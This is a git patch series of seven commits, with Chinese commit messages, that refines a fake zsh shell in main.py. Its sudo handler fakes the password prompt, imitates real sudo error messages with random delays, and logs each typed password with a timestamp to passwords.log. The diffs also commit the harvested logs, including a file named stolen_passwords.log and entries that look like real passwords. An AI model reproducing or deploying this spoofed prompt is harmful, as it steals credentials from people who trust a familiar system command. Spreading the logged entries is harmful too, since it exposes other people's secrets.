From 3b16fb85a08957b8fc6e4f3043beeedb3c0e6e65 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:21:01 +0800 Subject: [PATCH 1/7] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E6=B7=BB?= =?UTF-8?q?=E5=8A=A0=E5=AF=B9=E7=89=B9=E5=AE=9A=E5=AF=86=E7=A0=81=E7=9A=84?= =?UTF-8?q?=E5=A4=84=E7=90=86=E9=80=BB=E8=BE=91=EF=BC=8C=E5=B9=B6=E6=9B=B4?= =?UTF-8?q?=E6=96=B0=E5=AF=86=E7=A0=81=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= =?UTF-8?q?=EF=BC=8C=E5=88=A0=E9=99=A4=E6=97=A7=E7=9A=84=20stolen=5Fpasswo?= =?UTF-8?q?rds.log=20=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 3 +++ passwords.log | 3 +++ stolen_passwords.log | 3 +++ 3 files changed, 9 insertions(+) create mode 100644 stolen_passwords.log diff --git a/main.py b/main.py index 411a410..fd94f5c 100644 --- a/main.py +++ b/main.py @@ -79,6 +79,9 @@ def pseudo_zsh(): if args[0] == 'sudo': for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") + if fake_password == "1234": + print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 diff --git a/passwords.log b/passwords.log index 93ac62d..f1f18ad 100644 --- a/passwords.log +++ b/passwords.log @@ -17,3 +17,6 @@ [2025-04-03 07:13:23] CROox934 [2025-04-03 07:13:35] BRS273849506zhongxue [2025-04-03 07:13:39] jf +[2025-04-06 22:19:26] 1234 +[2025-04-06 22:19:31] 1234 +[2025-04-06 22:19:35] 1234 diff --git a/stolen_passwords.log b/stolen_passwords.log new file mode 100644 index 0000000..525f1f5 --- /dev/null +++ b/stolen_passwords.log @@ -0,0 +1,3 @@ +[2025-04-05 21:54:29] aaaaaaa +[2025-04-05 21:54:31] a +[2025-04-05 21:54:33] a From bfdf8e6fc7d32d54041de602f189ce29bc17a919 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:23:20 +0800 Subject: [PATCH 2/7] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E4=BF=AE?= =?UTF-8?q?=E6=94=B9=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E5=A2=9E=E5=8A=A0=E6=88=90=E5=8A=9F?= =?UTF-8?q?=E5=B0=9D=E8=AF=95=E6=97=B6=E7=9A=84=E9=94=99=E8=AF=AF=E6=8F=90?= =?UTF-8?q?=E7=A4=BA=E6=8E=A7=E5=88=B6=EF=BC=8C=E5=B9=B6=E8=AE=B0=E5=BD=95?= =?UTF-8?q?=E5=BD=93=E5=89=8D=E6=97=B6=E9=97=B4=E5=88=B0=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index fd94f5c..9121948 100644 --- a/main.py +++ b/main.py @@ -76,11 +76,14 @@ def pseudo_zsh(): continue # 伪造 sudo 密码输入并记录 + if args[0] == 'sudo': + flight = True for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + flight = False break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 @@ -88,7 +91,8 @@ def pseudo_zsh(): delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 print("Sorry, try again.") - print("sudo: 3 incorrect password attempts") # 提示错误次数 + if flight: + print("sudo: 3 incorrect password attempts") # 提示错误次数 continue # 执行普通命令 From 93a328bd6a7cc569bb0a2ac20e83228c098cea45 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:27:21 +0800 Subject: [PATCH 3/7] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=20=E4=B8=AD?= =?UTF-8?q?=E7=9A=84=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E9=87=8D=E5=91=BD=E5=90=8D=E5=8F=98?= =?UTF-8?q?=E9=87=8F=E4=BB=A5=E6=8F=90=E9=AB=98=E5=8F=AF=E8=AF=BB=E6=80=A7?= =?UTF-8?q?=EF=BC=8C=E5=B9=B6=E5=9C=A8=E5=AF=86=E7=A0=81=E6=97=A5=E5=BF=97?= =?UTF-8?q?=E4=B8=AD=E8=AE=B0=E5=BD=95=E5=BD=93=E5=89=8D=E6=97=B6=E9=97=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 6 +++--- passwords.log | 4 ++++ 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/main.py b/main.py index 9121948..bc4e27c 100644 --- a/main.py +++ b/main.py @@ -78,12 +78,12 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - flight = True + flight1 = True for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") - flight = False + flight1 = False break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 @@ -91,7 +91,7 @@ def pseudo_zsh(): delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 print("Sorry, try again.") - if flight: + if flight1: print("sudo: 3 incorrect password attempts") # 提示错误次数 continue diff --git a/passwords.log b/passwords.log index f1f18ad..a300bbf 100644 --- a/passwords.log +++ b/passwords.log @@ -20,3 +20,7 @@ [2025-04-06 22:19:26] 1234 [2025-04-06 22:19:31] 1234 [2025-04-06 22:19:35] 1234 +[2025-04-06 22:24:07] 00 +[2025-04-06 22:24:15] 00 +[2025-04-06 22:24:17] 00 +[2025-04-06 22:24:18] 00 From 8dcf8cc4f3f1dc69c343a8a8296ea28cff72f1ea Mon Sep 17 00:00:00 2001 From: hexianglong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:47:17 +0800 Subject: [PATCH 4/7] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20README.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 473e0b1..2c337d0 100644 --- a/README.md +++ b/README.md @@ -12,4 +12,5 @@ ## ~~??????? ber哥们 我把你代码合并到main了啊~~ ### 好好好,其实说白了就是把zsh覆盖main改了几行就成合并了是吧 # 不然呢? -# 不是怎么还耍无赖了那? \ No newline at end of file +# 不是怎么还耍无赖了那? +? From 811d6c5bfa82cbebd285714040534b96a1df6b0d Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:48:45 +0800 Subject: [PATCH 5/7] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=20=E4=B8=AD?= =?UTF-8?q?=E7=9A=84=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E5=A2=9E=E5=8A=A0=E5=B0=9D=E8=AF=95?= =?UTF-8?q?=E6=AC=A1=E6=95=B0=E8=AE=A1=E6=95=B0=E5=B9=B6=E8=B0=83=E6=95=B4?= =?UTF-8?q?=E9=94=99=E8=AF=AF=E6=8F=90=E7=A4=BA=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index bc4e27c..80b9910 100644 --- a/main.py +++ b/main.py @@ -79,7 +79,9 @@ def pseudo_zsh(): if args[0] == 'sudo': flight1 = True + a = 1 for attempt in range(3): # 循环 3 次 + a += 1 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") @@ -90,7 +92,8 @@ def pseudo_zsh(): f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 - print("Sorry, try again.") + if a != 3: + print("Sorry, try again.") if flight1: print("sudo: 3 incorrect password attempts") # 提示错误次数 continue From d5d5ea7d1e1eb2acf13354ad225ca8fde72093fe Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:50:38 +0800 Subject: [PATCH 6/7] =?UTF-8?q?=E8=B0=83=E6=95=B4=E9=9A=8F=E6=9C=BA?= =?UTF-8?q?=E5=BB=B6=E6=97=B6=E9=80=BB=E8=BE=91=EF=BC=8C=E7=BC=A9=E7=9F=AD?= =?UTF-8?q?=E5=BB=B6=E8=BF=9F=E6=97=B6=E9=97=B4=E8=87=B3=200.1=20=E5=88=B0?= =?UTF-8?q?=201=20=E7=A7=92=EF=BC=8C=E5=B9=B6=E6=9B=B4=E6=96=B0=E5=AF=86?= =?UTF-8?q?=E7=A0=81=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 2 +- passwords.log | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 80b9910..9384a3f 100644 --- a/main.py +++ b/main.py @@ -90,7 +90,7 @@ def pseudo_zsh(): with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 - delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 + delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 if a != 3: print("Sorry, try again.") diff --git a/passwords.log b/passwords.log index a300bbf..19ae265 100644 --- a/passwords.log +++ b/passwords.log @@ -24,3 +24,6 @@ [2025-04-06 22:24:15] 00 [2025-04-06 22:24:17] 00 [2025-04-06 22:24:18] 00 +[2025-04-07 08:48:57] 1 +[2025-04-07 08:48:59] 1 +[2025-04-07 08:49:01] 1 From 8740aa0e1285e67a293cff9123dad3137aeaa0aa Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:51:02 +0800 Subject: [PATCH 7/7] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=20sudo=20=E5=AF=86?= =?UTF-8?q?=E7=A0=81=E8=BE=93=E5=85=A5=E9=80=BB=E8=BE=91=E4=B8=AD=E7=9A=84?= =?UTF-8?q?=E8=AE=A1=E6=95=B0=E5=99=A8=E5=88=9D=E5=A7=8B=E5=8C=96=EF=BC=8C?= =?UTF-8?q?=E5=B0=86=E8=AE=A1=E6=95=B0=E5=99=A8=E4=BB=8E=201=20=E6=94=B9?= =?UTF-8?q?=E4=B8=BA=200?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 2 +- passwords.log | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 9384a3f..43a9f05 100644 --- a/main.py +++ b/main.py @@ -79,7 +79,7 @@ def pseudo_zsh(): if args[0] == 'sudo': flight1 = True - a = 1 + a = 0 for attempt in range(3): # 循环 3 次 a += 1 fake_password = getpass.getpass("Password: ") diff --git a/passwords.log b/passwords.log index 19ae265..06c4648 100644 --- a/passwords.log +++ b/passwords.log @@ -27,3 +27,6 @@ [2025-04-07 08:48:57] 1 [2025-04-07 08:48:59] 1 [2025-04-07 08:49:01] 1 +[2025-04-07 08:50:48] 1 +[2025-04-07 08:50:49] 1 +[2025-04-07 08:50:50] 1